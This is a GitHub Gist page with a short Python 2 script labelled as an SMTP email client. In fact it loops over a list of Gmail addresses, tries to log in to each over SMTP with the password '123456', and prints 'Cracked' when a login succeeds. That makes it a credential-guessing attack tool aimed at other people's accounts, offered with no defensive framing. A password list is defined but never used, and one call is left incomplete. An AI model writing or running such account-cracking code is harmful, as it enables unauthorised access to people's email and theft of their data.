Created
September 14, 2012 06:21
-
-
Save tejastank/3720163 to your computer and use it in GitHub Desktop.
python-smtp-email-client-tejastank
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Author : tejastank | |
import smtplib | |
smtp_email_user = '[email protected]' | |
smtp_email_pwd = 'd3' | |
emails= ['[email protected]','[email protected]','[email protected]'] | |
passwords = ['dd','434','3344','~~~','xxxxxxxx'] | |
for email in emails: | |
try : | |
print "try........", email | |
smtpserver = smtplib.SMTP("smtp.gmail.com",2525) | |
smtpserver = smtplib.SMTP("smtp.gmail.com",587) | |
smtpserver.set_debuglevel(False) | |
smtpserver.ehlo() | |
smtpserver.starttls() | |
smtpserver.ehlo | |
smtpserver.login(email, '123456') | |
print "Cracked", email | |
except Exception, e: | |
print ":(",e | |
finally: | |
smtpserver.close() | |
#header = 'To:' + email_to + '\n' + 'From: ' + email_from + '\n' + 'Subject:'+ subject +' \n' | |
#msg = header + '\n ' + body + ' \n\n' | |
#res = smtpserver.sendmail(email_from, email_to, msg) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment